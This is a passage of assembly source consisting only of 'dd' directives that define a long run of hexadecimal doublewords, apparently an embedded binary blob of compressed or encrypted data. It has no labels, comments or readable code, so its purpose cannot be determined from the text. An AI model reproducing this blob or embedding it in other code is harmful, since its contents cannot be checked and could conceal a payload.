0C7FC007Ah, 4E02777Fh, 8D604419h, 0D774A430h, 0AD2E00A9h dd 0E79D92B5h, 0BE005927h, 0C718146Fh, 24E00B3Eh, 1222987h dd 0A3D350A4h, 0B0EDECF5h, 80BC0A3Bh, 6225D481h, 72B8CD9Fh dd 0F01A1F75h, 7CC3876Bh, 80D11039h, 4409A3AEh, 419328D8h dd 0D2D055C8h, 876F00CBh, 6D8EEAF2h, 0AA01070Eh, 0C522294Fh dd 1D604931h, 0F5ECA2h, 0E1E57EF7h, 0B606A018h, 23BE3600h dd 3BDB5397h, 14EE1233h, 0A7940729h, 3D4BC099h, 0E83C1650h dd 74708037h, 95D5F883h, 6D7500F0h, 3A5C229Eh, 5B90537Ch dd 82002175h, 89965779h, 49770B5h, 29C81488h, 114480A0h dd 9D583FD4h, 0F10300EDh, 0A57CE566h, 0FF71F9Ch, 293640C3h dd 2F5127D0h, 9FC8EE02h, 0E052CDABh, 0B9B71Ah, 5B5E2CEDh dd 0B49EF740h, 2000EBF4h, 77591E75h, 0EDDFCC6h, 296D7CA1h dd 0AF166F20h, 0BE172AA3h, 0C440F70Fh, 303743B9h, 562200D3h dd 7208F24Fh, 0EC050E6Bh, 0CE29868Ch, 5C125C1h, 0E364E0DAh dd 7C7E0448h, 0C0526A04h, 0B7338832h, 79A63E58h, 9C287928h dd 0FAFE0B05h, 0F8D0C183h, 0F8884E0Ah, 65AE02D4h, 916F6943h dd 76EB360h, 990A2760h, 3D839C4Dh, 1780D390h, 25B043A9h dd 0C2005595h, 0D5688437h, 0E7E7C4Ah, 935960EBh, 0A8447600h dd 32008B15h, 239B24B8h, 7AC35C9h, 5849DD0Dh, 538ED198h dd 303908h, 0C8D6962Ch, 0E52DCBDDh, 0C539A0F3h, 0CA20C6ECh dd 0E12210BDh, 0E578FBh, 0B759FD24h, 6B2A8B7Dh, 41580902h dd 402D52BCh, 7E47ED35h, 93D8006Ah, 0DD2F1A63h, 0A41EC919h dd 6C802A9Ch, 5BA18E3Bh, 0FC04071Ch, 0D0CD7E5Ch, 28FB4696h dd 6F660605h, 0E781BBC2h, 4E70D9EFh, 90340076h, 4AC8290Dh dd 0FD034C21h, 2FB02072h, 269839CDh, 97298E04h, 0C2E49046h dd 0BCA8AC6Eh, 650EFE2Eh, 9CE63305h, 0C3B93102h, 2A108070h dd 304699h, 929DF5E4h, 0A83F02E8h, 0D006D72h, 97B393FBh dd 0B6BF73h, 8A9560D9h, 0D7C9F4EAh, 346E442Ch, 90A92D01h dd 80864871h, 88AFD5BAh, 0F54A27F6h, 59BCC80Ch, 90B12510h dd 0DA4CDC02h, 25F74522h, 31140EA8h, 0D93811F1h, 22F94611h dd 0CF573D94h, 7713692h, 0D790552Ch, 76AC7081h, 0C71D8C9Ch dd 5EC0BC58h, 0FB573ACFh, 445A1EADh, 187B0F1Ch, 0F998ED40h dd 0B1000A56h, 9743F29Fh, 7ED6C15Ah, 0C82B480Eh, 3FBD8524h dd 5701A38Bh dd 177E00A1h, 465C204Ah, 814DB5Dh, 743005h, 14D5E57Ah dd 18327CEFh, 4041284Bh, 0E1A55Fh, 30474246h, 75D413C6h dd 0DF9C5D00h, 5CD77CBCh, 0FEFB0054h, 95425879h, 47F8EDE7h dd 0F9367A00h, 4A6C84D3h, 19EF609Dh, 0E4813E82h, 99059400h dd 0D4E62A3Dh, 3B48079Ch, 0F0C564ADh, 98B9C138h, 0E3325700h dd 0F48571C9h, 6C9100D1h, 9C16D5E6h, 301AC90h, 99B1BBB6h dd 89402774h, 95B345h, 8E027EEDh, 2C63CC71h, 8F506D0Eh dd 0ECD7208Ah, 8F038h, 0F1965666h, 133F52A1h, 0B673AB00h dd 2754F622h, 0F42A75ADh, 0A36D0EB7h, 140EE56h, 2C5221BCh dd 0D66A7412h, 0B76E4800h, 24894E5Eh, 0E437D96h, 0C4EF997Bh dd 0DFA4B461h, 76846040h, 6851E732h, 0F07C58C6h, 52E092h dd 6EE1B105h, 9B7C922h, 0E8965C28h, 1B26EE12h, 0D60350CEh dd 0AC051279h, 0CC0D2FE0h, 0D035A615h, 61740FF0h, 0FCEE41CEh dd 19F0EA83h, 60D8B09Fh, 71264993h, 2207B575h, 0CDC096A7h dd 0B0FC3F43h, 3E3E51BAh, 2516052Ah, 0AFC10FC5h, 0D2380BCCh dd 3231C39h, 81EA6BF6h, 14704C0Ch, 3C73A000h, 0F0795662h dd 779C3300h, 1A983D9Dh, 1649A5Bh, 6F09EE16h, 283E144Dh dd 0C600050h, 0A6D226E6h, 30C4F6A0h, 2CC9DA41h, 0B0495E0Bh dd 0FF421C60h, 5501F8A6h, 3F8812A5h, 0AA4C70h, 28BF3976h dd 0E303D595h, 0EE125D77h, 7F80B1E5h, 38475C1h, 1ECCEDF7h dd 5006BB71h, 211788C3h, 0F4AA0ED8h, 6C40A1E5h, 0D2ACF10Ah dd 65A04B60h, 0FFFEBD0h, 0FDB9EE6Bh, 133DD560h, 0D83AF2BBh dd 284C3294h, 5C504Dh, 59A1D653h, 76B6D9A2h, 3083D102h dd 0C485EE62h, 5F8A3FB0h, 23DC430Bh, 0FD222920h, 0AA005076h dd 0CB1F9A2Fh, 7D1959A5h, 0F7A0C5ACh, 0F136C0BFh, 697CB37Ch dd 0AC31FA2Eh, 0E0E9470Eh, 61A4703Ch, 20190ECFh, 0B200E53Dh dd 0C1840876h, 0E0955701h, 0DACE46A2h, 131443E0h, 4532F4h dd 64883780h, 670051ECh, 4D710B83h, 8D279Fh, 0A841BA30h dd 4061DA12h, 9D5AF600h, 8A7AD6DEh, 9BF700FFh, 0B9161D5Eh dd 33013A3Eh, 6CD556D1h, 9B4158FDh, 0A4FCBB2Fh, 35CC0046h dd 55D46783h, 0C24877A2h, 893C90h, 2BBACA58h, 0B82896h dd 0D91A3C3Eh, 0D794CC33h, 0D03924h, 0BD029DBDh, 1B87294h dd 438ED76h, 108F832Fh, 0E00EA42h, 0F23B8490h, 33A41C50h dd 2656A00h, 0AD632143h, 66D13E4h, 0FA2400CEh, 0F17C2695h dd 2A12E00Fh, 0AC033678h, 80887427h, 1DCFE07h, 7D7C812Eh dd 0C8D013C7h, 82001799h, 0EEE798C3h, 71721FCDh, 0C04EA9Ch dd 5401AFC1h, 0A272E611h, 2B21AB02h, 0C0044EB3h, 0D42C20F8h dd 0EA148816h, 500F4ACh, 2477C58Bh, 9301E171h, 0AEFC5440h dd 0FC30365Bh, 96A004F3h, 807B8B8Ah, 0D79CAC2Ah, 0F49C4A50h dd 83E72B3Bh, 1182BE0Ch, 0A45B98FAh, 8722096Bh, 3D0A700Bh dd 0CC1883A8h, 17B0BF26h, 0BD4CD139h, 0A55B007Ah, 788C9932h dd 0F75A2433h, 62EC00E8h, 61F6722Fh, 90BFD300h, 35CE2744h dd 709F0053h, 99D6929Ah, 4348FBC3h, 9B790924h, 4230A32Eh dd 62BBE8B7h, 0DAE40997h, 0F820BD96h, 212C64Fh, 2F055290h dd 50C55D1Eh, 0A6468CD0h, 0AEB90313h, 75CB571Bh, 0BD00B9C7h dd 0D0FD60D2h, 749050E6h, 0C43DF301h, 17307ABDh, 19CD8884h dd 0E4830042h, 58A83Eh, 0C263531Dh, 0E622D857h, 0D9B0D600h dd 234372C1h, 0B7B9C0B3h, 0D26BE408h, 8B03E603h, 0E01FCCF1h dd 3AB00Dh, 5A9227C2h, 0DA76BFE2h, 575E1C00h, 787F09FAh dd 9CDE131Bh, 0B9400096h, 54D751B3h, 80FAED24h, 3AAF7F00h dd 74AB017h, 0E2F438B7h, 6820B934h, 0FDB3DE21h, 0DFF12301h dd 5613021Dh, 0F7743E8h, 95B2E073h, 0EFCD6680h, 760012F1h dd 85F30754h, 7E2364h, 15D7FD04h, 9A4B080Bh, 7A8C8709h dd 0F87108F0h, 274C9884h, 0D13D2307h, 0F058F99Bh, 64946BB8h dd 41024A11h, 62A3C4B6h, 54179879h, 5A14C202h, 79DC7864h dd 46A50A43h, 86F4990Ah, 7C7D772Ch, 0A2D5D300h, 44EE9D6Bh dd 0EB750008h, 1BA119D2h, 68C12AB7h, 66F23301h, 928BFCh dd 3E4A35EAh, 9663BCC5h, 0ADFD900h, 8C4FD65h, 0AB0C008Eh dd 2FE7977Ch, 0D30068E3h, 7E8A04E5h, 2C9957B3h, 8FD42450h dd 0F7008FC3h, 96E40955h, 34D4300h, 163C579Bh, 346A00AEh dd 95B7C42Ch, 280039E8h, 89CCCD9Ah, 0C71BCA77h, 206BAE11h dd 0C3EE26FCh, 0A9E64407h, 67608E39h, 61D16CCh, 9B1CE83Ah dd 0C5007133h, 0B85AC879h, 7F017Bh, 0EDB6A0C2h, 2655A6FEh dd 9DC30407h, 0E1104B8Fh, 9A3521Ch, 4C40F05Ch, 0AC5104C0h dd 6BC8CE00h, 8AE6EE8Bh, 30A0071h, 1E2554A6h, 450E35C1h dd 0C09E593Eh, 0E17AF3F9h, 9C1407E5h, 2032BA02h, 0D74F9B1Fh dd 0EA2F3704h, 0A3012210h, 0F9259396h, 0A538DC05h, 8AFB2715h dd 681D04DCh, 0FCC02E6Eh, 1E524083h, 818295FEh, 0B3F810C1h dd 6CB434D9h, 0E62EE300h, 3A606711h, 69AA0079h, 0D0F4133Eh dd 52001AC9h, 0ED597EBBh, 3E3C0B9Fh, 4BB1C2h, 8E24A55Ch dd 281FBC30h, 0EB98F7ABh, 901F0159h, 8BAA0388h, 0E02361E9h dd 898E06F8h, 8190F09Ch, 40007320h, 0AB2332E0h, 0B438BE87h dd 0D4A90738h, 42109097h, 0FC0095DAh, 0EBA7EC53h, 90BAFF66h dd 0D11504B5h, 0C02A91C0h, 0FB3FA6BCh, 4EB79900h, 5FC88A0Bh dd 0DC741D1Ch, 4A118473h, 3024C034h, 320965DEh, 64035389h dd 0B59140C4h, 3E19AA80h, 3201D205h, 4EA9F5C4h, 3C28BCE0h dd 689800BCh, 0AF641E3Eh, 0CD4B30h, 0AD065480h, 7E84BE28h dd 0F152F8CAh, 8F0C56D2h, 88462901h, 9B3D19FFh, 36FC021Fh dd 0C02A4A14h, 0CF635CAh, 34A12566h, 320A9370h, 5804538Ah dd 0BD206A90h, 97C5CD25h, 0C0919CC0h, 3FA7A66Ch, 0C83AD48Fh dd 7F160F78h, 64FB498Ah, 2BA319A8h, 0E10971FAh, 0AA5A3046h dd 347E4703h, 0A769F624h, 40A1986Ch, 33000FA8h, 5EB84820h dd 0F8A2C59Bh, 0C9BFE8E0h, 8F82E449h, 0F45E3850h, 0BC2A89h dd 0CCDDEAE4h, 0FCBB00F3h, 5B9FD402h, 0C303CDBEh, 0A7B10432h dd 0F0D1A054h, 78C631E0h, 81919251h, 1062A808h, 0B9F0B23Fh dd 0B080A853h, 0D8F60F0Eh, 0AAC1FC2Fh, 0CC6A9141h, 77001B7Dh dd 66B8AD26h, 6F349CCAh, 190AC872h, 0D11119FCh, 4E3720A9h dd 0EC2F51C0h, 1C4533Dh, 3150B410h, 40C264F8h, 2D52A9C0h dd 77CA7400h, 0AA8E2A62h, 1A7E06B1h, 6E6D0553h, 344BB8FEh dd 0D0030CAh, 6425EFCFh, 51EE724Ah, 335A38h, 17CB6A83h dd 128E722h, 0C1972D95h, 4730512Ch, 43EE5050h, 127ED867h dd 0D18FBD3Ah, 18352030h, 0B8F9EC05h, 0C12DC2Bh, 78D6B0B4h dd 51080FE4h, 44832B07h, 23B8F7FBh, 300401A5h, 53A3F18Ah dd 0A360FC3h, 0DE2CB870h, 711124h, 0FEC36488h, 2837F8CDh dd 0C51BBh, 0F532EC5Ch, 0E1759A67h, 1D798901h, 0BACEDCE8h dd 28820F21h, 63C5AE94h, 449A7360h, 892EC8F9h, 0C1815400h dd 3A5AD0D6h, 0B39600EEh, 6FC3ED58h, 0AE000964h, 0B42BE915h dd 1C478Eh, 0A267D1Dh, 0B38C2EF7h, 286D4900h, 16BD1B14h dd 1D3701EEh, 2147AF89h, 0F511C02Ah, 0F709E61Dh, 0EEE3CC40h dd 627007BEh, 59F6718Ah, 0D60497h, 1AA36587h, 0F70D4D42h dd 5100A2F8h, 0D7407C4Eh, 378249h, 92C75FEDh, 8342FD10h dd 59F41613h, 29503B0Ch, 26814435h, 846F9444h, 4251A622h dd 95447D21h, 6C22845Bh dd 110D4253h, 47219783h, 9057A908h, 9B7A84F9h, 4E153344h dd 0E5217160h, 909FB708h, 917A8F1Fh, 8D08D121h, 840B90A6h dd 0BD486480h, 0FA85D41h, 1114F701h, 0A912654Bh, 24DA1E11h dd 669E21E3h, 35109512h, 8CF89ABh, 816844CEh, 7B94488h dd 985E18DCh, 7E7D90FBh, 99005417h, 0B46F3261h, 8F5343h dd 1CCF54Ch, 0EEECD0E4h, 0DF00400h, 2C0E23C3h, 2B4001A4h dd 66DB7E44h, 0F88D4087h, 3C1DE2A1h, 4D80D7BBh, 0C825E9AAh dd 985D00C0h, 0DDE443F5h, 7A01CF0Ch, 17775C4Bh, 0FD60D635h dd 0F840026h, 0A11CE0B5h, 0D5055DCEh, 0EFF3DBBBh, 0F6889EC0h dd 0EA21C085h, 0B083BA4Ch, 1A1D5100h, 0E702953Dh, 0CA5902B4h dd 3CE8636Bh, 293A4840h, 2CEF993Ah, 0A400E975h, 6D316A85h dd 71E7726Fh, 76900019h, 0EBAC3A96h, 0B9010F2Fh, 6923604Ch dd 55C435E7h, 0DBBA0079h, 9B6771Dh, 8F38406Fh, 37D38C3h dd 0FFE8E35h, 327811EBh, 0DD5D0FE9h, 60C66FB7h, 0AF5A604Dh dd 1C7E7476h, 5C117FEAh, 50817AF6h, 0BBC86594h, 3F3BF0D3h dd 6E064C00h, 77272A61h, 940A07ADh, 8016C0DBh, 1A496455h dd 86894701h, 8E171129h, 986990E7h, 855A002Dh, 0EFF14807h dd 53032654h, 0FC51677Dh, 0F8EA90D6h, 0F4B50105h, 9DD7615Dh dd 0BEDC40Dh, 41C58900h, 0B6D158E3h, 54D20E69h, 0FC86B2CCh dd 9800FADAh, 0D574B7F9h, 0FE9747h, 2AAD9605h, 3A042B03h dd 9C4A1528h, 0F45E3100h, 0CC1E4E42h, 0C2460309h, 49ABD09Ch dd 943F200Eh, 72FF80D3h, 0D915Dh, 0A0566DBAh, 2A36DFF5h dd 0AC0CF0FCh, 896BDBAFh, 0FFC30087h, 2FE3B244h, 0A72CC1BAh dd 3F05BCE7h, 0B80F1334h, 0FA9160D0h, 2B0A0E9h, 0CC860919h dd 0E4802535h, 74B4050h, 27D8711Fh, 875B340h, 97A0A6h dd 0B574C729h, 0D255E647h, 0A2645Ch, 0EBA49E6Dh, 5B3106h dd 0FA5832C9h, 0C00A8A63h, 0CA1C8EF0h, 41405C79h, 72E047F3h dd 82DC1D5Eh, 241580F7h, 91504A78h, 80FD6439h, 0CBF8628Dh dd 0CD2B5Ah, 0E92FB86Fh, 1C8A5951h, 1D132D1Fh, 932A08C0h dd 0F6DFFD22h, 24040035h, 34F54A9Bh, 570005ACh, 0C86762B0h dd 7708E23Dh, 4D98E09Eh, 61CCC17h, 45F7CE33h, 5B0C4623h dd 9000807Ah, 74A41987h, 76869502h, 0E6E0254h, 0C958E1CBh dd 8AC20443h, 0C08BD885h, 8DFA4864h, 96428F00h, 0B4533162h dd 0FCC16073h, 46E0D587h, 741279B8h, 400D904h, 83A77399h dd 6B168075h, 0E00094F6h, 8D9C9D3Ch, 0E286DCF2h, 0E2EA69h dd 63AE27BDh, 19C36885h, 30466102h, 4066B565h, 0B76208h dd 0D90CC1A1h, 0EEE9E3C3h, 0AF8E1600h, 291DCE10h, 3BF9790Eh dd 6002EB8h, 79546423h, 55E48096h, 0F3188A0h, 4CAD1B1Dh dd 6BCC39C3h, 87E8E8D3h, 37003B6h, 239198A1h, 7E0D61F0h dd 2D3DD400h, 4E5EF56Bh, 7D12003Fh, 9A2F206Ch, 0CA001484h dd 73A836D3h, 78E266h, 208E9B9Fh, 33D67CBEh, 3D4BD49h dd 1F8D7E50h, 582207F4h, 899E9Dh, 0AF4575BAh, 0B03A6D77h dd 418382C2h, 9862E5A6h, 5C0947DCh, 2A01D873h, 0B252884Bh dd 3378C0F1h, 0CC4FF000h, 0D989821Ah, 6EBCA0DBh, 7E6B001Dh dd 509B4AB7h, 0B5006720h, 4BC34CEFh, 3940CF8Ch, 47808E6Dh dd 0AEDD08CAh, 0A274E9E6h, 8224EA01h, 0D5AB8544h, 0C409E8h dd 0B729F020h, 646DC93Eh, 0BAF54Ch, 26C82A57h, 1F9E02D9h dd 10E3F7h, 70B92919h, 0B6003B78h, 0F00B0C48h, 73D4FADAh dd 0B817000Fh, 800E272Ch, 6C0592BDh, 54C6748Ah, 0DE61D000h dd 0FC7CDD4Ah, 9AFC0369h, 0B61886A3h, 0D133A198h, 53C16800h dd 4E3D906Ah, 5D6E0004h, 7E8F243Bh, 0AD00420Fh, 0C960F09Bh dd 44FB44B3h, 12749603h, 8B9C9F03h, 0F7BE0D02h, 807F4351h dd 0E22BFC30h, 0BFABDh, 9830B26Ah, 4A0CEF9Fh, 33840A01h dd 6337B781h, 1E451CE4h, 0BB1461FAh, 231255B8h, 0C8E4019Eh dd 0D48F74D4h, 3D007D4Fh, 487784CDh, 3BF543D7h, 549D6AF3h dd 2DAC65h, 9149F67Fh, 0C2012090h, 0DF41AF78h, 0C420CC5Bh dd 0CF10143h, 0D40A762Ah, 6FB07073h, 45088D00h, 64276C8Ah dd 445200A9h, 5F35C580h, 1700E09Bh, 2178BB7Fh, 10D5F9h dd 31C318FBh, 4F973A1Ch, 0B9583B3Fh, 0AA70826Ch, 0C0829107h dd 44CE24D4h, 5B07110Dh, 7C1AF99Ch, 0B6660980h, 257918h dd 1CFBBF90h, 0ACA53D7Eh, 2B0FE007h, 86A76D03h, 0EBE22C80h dd 7FE91CA2h, 0BC63407Eh, 37C2795Dh, 0E1805F00h, 0C8B1AE20h dd 0E0E600B2h, 7656698Ch, 0DB009BCBh, 31244ECh, 8FD858h dd 22B17B97h, 0F4CA19B4h, 1B923AC0h, 16B7E9Ah, 8D8F2E72h dd 0C831B54Dh, 0A1C74DBh, 0D40032C4h, 0F6D6E54Ch, 29B3E5Bh dd 113F2600h, 0A152A3ACh, 0B21EFD00h, 0F007A287h, 16380025h dd 709CFF4Fh, 5C000946h, 71E25E19h, 17A6F42h, 0F04AC938h dd 0CCA3AFDFh, 22037EEEh, 34850E1Ah, 5499B006h, 0B0200091h dd 0C769E953h, 0E6035752h, 2111E5CBh, 3DEAC0B3h, 7C9600E0h dd 0DD9239F7h, 7250E871h, 790083ECh, 589E591Ch, 75BD783Ch dd 0D994003Eh, 0F4AF7321h, 0CF009303h, 0C20D358Ch, 0F82D0F24h dd 4E310045h, 6C4F6383h, 0DCE78064h, 0A5201BBEh, 0E2381081h dd 0F69DC021h, 1B87917h, 29B96306h, 349C9891h, 0AB3B091Ch dd 0CD13809Bh, 3C85058Ah, 0E8B05045h, 7D677D7h, 8EBEEB27h dd 0BF6250FAh, 0FC00DC69h, 1D15BD12h, 1D4C3B4Eh, 90E11Ah dd 5E051CC7h, 19C09665h, 0B594D729h, 9086001Eh, 2E11FC0h dd 560018CEh, 0E8FF7AE5h, 6EE41Dh, 0B66159CBh, 0BADDEA87h dd 0D862A625h, 0F7F00095h, 12CB0A5Fh, 9207A705h, 0BE6FED15h dd 0B2753490h, 2C5203C1h, 0EC9B3C61h, 6224CFE8h, 747C2290h dd 89923500h, 4EF1C78Fh, 7FDE3DDAh, 0A9996C81h, 0DCFB418Eh dd 0EC0095BFh, 0CCFD24F3h, 467B822h, 0EB652723h, 41A88764h dd 70D15E1Dh, 0F0B80672h, 60E54Ch, 16CDFFE2h, 0B41F01h dd 973B1D32h, 7956394Dh, 0EE596D00h, 8A0CEBE6h, 0F80B1EC6h dd 0CC2C00AAh, 0AE4A04C8h, 6221E500h, 3D5C814Ch, 0EF54000Ah dd 0A9B6B0BFh, 0CD2E99E2h, 3C81ECA8h, 0AA9F5091h, 0F4FACA60h dd 60CCFABEh, 0CAC421A7h, 0DF00D486h, 3D1B5FB0h, 18499EFh dd 0EC511CBFh, 0EBCE0CDDh, 0FD606A0h, 89AF1F02h, 0C0A798BDh dd 812CD8h, 995029C0h, 0B958365Dh, 0D1CEF800h, 0BE7B2167h dd 0E3F200A3h, 0C3C027FCh, 0DB09DCD0h, 82C25D4Dh, 408FDA0Eh dd 330F0h, 28359E24h, 0E1118195h, 0F1DBBB1Ch, 12FBC341h dd 1020F844h, 0C2861DD7h, 919A80E2h, 0BF0DAE47h, 468EFE00h dd 0FEF653Ah, 2DB500B7h, 0B3239338h, 9D00A96Ah, 4E4F150Eh dd 1EBA81DEh, 0C09FFD6Ch, 0AE5B6F8Ah, 0BF00862Bh, 481EDFA5h dd 830906h, 97AB46CDh, 0A93694C5h, 565ED14h, 0D30101E4h dd 0B21BFE13h, 4E98E050h, 7B57003Ah, 5D725569h, 9007589h dd 0A5EF0703h, 0DC27E2h, 0B14802C6h, 926620E4h, 7E3E0101h dd 3C789C68h, 0DC0BE440h, 0E0B63ECCh, 810CC8AEh, 7118885Bh dd 17CDC087h, 0BA7DC912h, 4A283000h, 78998BFCh, 367AD4h dd 2BD30CE3h, 304F6433h, 7EF71332h, 9738831Ch, 1F2879D2h dd 0E8139F2Ah, 0C22F00ADh, 0C0594298h, 0CA005FDFh, 4FB76EADh dd 874435h, 17EC737h, 9E750FA8h, 7122EE2h, 2100D5B3h, 66AFD289h dd 0B1D95B6Eh, 0A5BBC76Ch, 0D8EBF7F8h, 0B00F472h, 1DC708DBh dd 15EAF18h dd 492C545Fh, 2050D933h, 0CA7C758Ch, 0A990F100h, 8FAE107Dh dd 4A2C7B9Ah, 54B40072h, 0A47E67D5h, 173A5100h, 38277182h dd 0FB9200A3h, 0DCAFC156h, 0C705DD74h, 32180F58h, 25AAEC80h dd 0CFFC0FBCh, 79AF7DEDh, 11CD8EE0h, 4F00EE68h, 445A0550h dd 4F76B65h, 0E6A7655h, 307887B1h, 2D9D1CADh, 30E0E302h dd 0E08B7FEDh, 3F3FE710h, 0B4507847h, 76B90C0Bh, 0D811C28Eh dd 0A531F9B0h, 186911D6h, 2BCB5A8Eh, 0E4018AC0h, 4F1DF38Dh dd 1C807DDBh, 55AA9A6Dh, 2A3A0039h, 0F7844074h, 0F2044AA6h dd 0A4E41B35h, 52D8A0h, 0C0588A90h, 0DFBF4C6h, 3E058FE2h dd 6E96C38Dh, 49F5F880h, 40A6072Bh, 0F0594A10h, 0C9E01204h dd 0AC777900h, 5987417h, 2CAFE8Bh, 4084CEBCh, 0D4782F5Bh dd 80D6F000h, 0EA6A8A52h, 13FF893h, 41C5E1E0h, 30C8C720h dd 0C312554Fh, 541D1751h, 46B60747h, 0B07F78F0h, 398C136h dd 9CC9C2B9h, 25405578h, 18A890D3h, 928B039h, 1C55CADh dd 28D2B8C8h, 73CEB4Ch, 9E568564h, 0FB108467h, 0FE9691A9h dd 0B37400C6h, 0D9D77043h, 95006A10h, 0FBCEFE19h, 0F4E313D2h dd 0F52500BFh, 0EB39AB22h, 5276DB4Eh, 809FC03h, 934FB664h dd 0A8ED042h, 99E6ACh, 1D0B317Eh, 3405DAADh, 0B5DD1C03h dd 0E17438D6h, 54ECC697h, 7A6C1EB0h, 0A35543E1h, 66D0231Bh dd 0E70F132Dh, 1F3D296h, 1D02D894h, 786C30h, 0F9D5B9CDh dd 121EBBE9h, 41DA8602h, 617F7A49h, 0C6700D68h, 1FE67190h dd 40A68260h, 143B50F8h, 5BFCA57Fh, 7857863Ah, 2E967658h dd 7000BC9Ah, 6D3C348Ah, 92833879h, 0E1AAE2Ch, 22009562h dd 35138277h, 0E290AC00h, 0A0D2EE72h, 0D12900E0h, 0BE3AE4C3h dd 0CB25E5D6h, 0A0A4207Eh, 9FE87h, 237FEFC2h, 3F840D1Bh dd 937635FCh, 626B5Ch, 67EAAE82h, 517641h, 0E3E4C127h dd 26A87739h, 5046B100h, 0DF91D271h, 0A7B900DEh, 0F41B9EF5h dd 83003C9Fh, 41ADC346h, 0B31107h, 0A3A4045Eh, 0B2F2E933h dd 858610C0h, 721526Ah, 56ED6329h, 590A1046h, 770F67B5h dd 0C1F2E5DEh, 328F8DBFh, 27B12F4h, 963125D7h, 94519F67h dd 81294302h, 0C164E088h, 0EF4C009Dh, 7D3FDA4Fh, 0C600A1C2h dd 0A72AFAE0h, 7033F44Ah, 0D8720019h, 0F7039CB4h, 0B00BD92h dd 4E7FC17h, 0EEEA1ACCh, 0FF2F00B7h, 432E955Ch, 0C30030F9h dd 0D114B999h, 904110h, 7E542756h, 8F9AA5Ah, 2AD98000h dd 703B61DCh, 0DD79C04Bh, 0E5C4CE27h, 0C3064700h, 0BE7FC7C5h dd 1CBAF668h, 0C1EBF9D6h, 4D0FE4F6h, 0C222E09Dh, 6D1E2A00h dd 0CF3F33E5h, 0BD8E0F86h, 21C01A7Dh, 0CB24EF06h, 0F0FDD501h dd 0BC6E9D47h, 0A0D1D4h, 0EB220B9Ch, 436B8101h, 0F6EC807Dh dd 1300BEF8h, 25CFAEE4h, 0E1C0D2h, 0F1D0C237h, 74E092B9h dd 8CE5FE00h, 0EA81CFBDh, 50A902F3h, 7D5196F4h, 403BECD8h dd 66958680h, 896FEFh, 504A9F8Fh, 0F7455904h, 7468F3h dd 2BD9F01Dh, 5C4C01E9h, 0EF009819h, 0BC3BFCACh, 930012D8h dd 0CA90534Ah, 0E8E4E579h, 247F9Bh, 0FE81283Fh, 13168752h dd 0DE216102h, 60B25CF4h, 5A40228h, 9ED9495h, 1620848Bh dd 848C10D7h, 6ADC700h, 34A67607h, 0B8199C0Eh, 0FCDA5E39h dd 7C4040C8h, 0CDC00C3h, 65627BD0h, 4C003950h, 0D8DA32F3h dd 1B124Fh, 93647A88h, 0C08CA2CCh, 1C72860Ch, 2E2AE84Bh dd 9D70ABB4h, 513B40F2h, 0F7D7ED98h, 4BE60CE4h, 28983F72h dd 0F2445F3Dh, 80D86138h, 8BDCA0A7h, 0CE13C7h, 45DF77BCh dd 9DBD412h, 19789CA0h, 0F80478B2h, 0DEB0C257h, 8FC1CC03h dd 0AFF0E7D3h, 0CF008018h, 0B01E0C2Fh, 3EF94Fh, 5CCC70D1h dd 79AD8EEFh, 0D00A5FCh, 0EB9B4615h, 5804D906h, 0FC3E6872h dd 0A5CB3D7Dh, 2D99B400h, 0DC9D485Ah, 7BF66901h, 0B1D59A66h dd 0BF6AEC40h, 6C900A9h, 0E8E7CBDFh, 910013F1h, 75C517A0h dd 3F2854B2h, 0D502206Ah, 6C80B41Fh, 0E01B1840h, 3500F0EEh dd 550FD3BFh, 2BEFA6h, 470A8971h, 672A6B8Ch, 0A4CC241Dh dd 0C4A8BC40h, 7C9DD16h, 0E6FBEAE5h, 3018E703h, 3EB3561Ch dd 109F7B02h, 0C6BA79D0h, 0F4BC2028h, 0B87E5005h, 0AB80EE38h dd 0E28A7FE9h, 7A59006Fh, 0CF7C9054h, 0E20156F9h, 741CDFF3h dd 0A43831A1h, 5A9E4907h, 139D6264h, 3FB9F860h, 18CF5518h dd 29C3C8h, 467D48F9h, 0AC1A0E2Ch, 621EF100h, 717224B6h dd 132A1219h, 0BB1C0315h, 0C0D8E0AEh, 0C36039CBh, 13845671h dd 594D188Ah, 37FDA0A8h, 0D6890B00h, 0BF43B85Ah, 0D51C05E0h dd 0C0D99002h, 0C768DA0Dh, 5DEEE00h, 0CC6F44F0h, 1C5EC057h dd 0FFA616E9h, 7001F092h, 9D400618h, 13C403B7h, 47962EEBh dd 989903C1h, 27F015D3h, 0B407FB0Ah, 0DBAF859Fh, 62C396A1h dd 7C549C0h, 0EE3C574Ah, 0C6DD04Ch, 6E38F830h, 6AEA0055h dd 87C8A4D8h, 445358C6h, 0C56D4C1Ch, 808E5584h, 6A864ACh dd 37B2F00h, 0E09F1F81h, 593A01E7h, 0D0E69116h, 0DC98FF0h dd 780257C2h, 0C079BA2Ch, 9063C4h, 0D0E7339Eh, 57476295h dd 0CAC3751Dh, 9D0B9980h, 5728773h, 71EF8346h, 0EBABC0BEh dd 8F004440h, 5BFACD16h, 91C0D8h, 6E8C3315h, 67A84725h dd 5328E007h, 1B712908h, 9B40715Eh, 3FC70D59h, 0A69F0A1Fh dd 4BE43Eh, 6F63465Ah, 7D4C6175h, 15810B78h, 0B13C800Fh dd 0D032EDh, 0A5540ED2h, 86722CF0h, 8A4A0D00h, 3683A874h dd 917FC0Ah, 6693D8E8h, 0F994C460h, 0EC35805h, 0EC80CC0Dh dd 304FA1h, 62FB4C03h, 6A2ED68Dh, 40816500h, 0C38EFFFDh dd 9C53002Ch, 0B15C3A5Bh, 6E3E4D47h, 1CBE80CFh, 6FE0A8D7h dd 54B80016h, 0EE4A0B9Eh, 2498F817h, 3B981800h, 1D922503h dd 3407DDCh, 0E7FDD0AFh, 0C785F1B9h, 0F47FC148h, 15AE70DEh dd 69D25300h, 735244B3h, 7B1309D4h, 4040B682h, 9E382075h dd 9AD3006Ah, 39EE98F4h, 7A7E1C8Ah, 13E7C0DCh, 0C103A281h dd 0F2503F00h, 8B9EA4B9h, 111E1F4Dh, 1338497Ah, 0A65D3880h dd 813B9FBh, 80E6D14h, 21884B9Ah, 81DCF934h, 0BDB6A8D3h dd 7F81C0F2h, 0EA69AC2Eh, 7A9A12Fh, 21133CB4h, 5C33A80Ah dd 6A7300F6h, 8D6B343Dh, 0D6022A94h, 14EBEF64h, 514CC82Eh dd 73B9CA99h, 836301A7h, 53E506C2h, 0CFE0A4D4h, 0D85CE31Dh dd 532F01AEh, 9BF09EE4h, 815B30h, 93EBDE54h, 9709A3A0h dd 30353C00h, 65A9BD7Bh, 637307B6h, 1E93537Fh, 6CE480FEh dd 8FABC5BAh, 614D0803h, 0D3E0CF0Ah, 0A9F12889h, 17175A0h 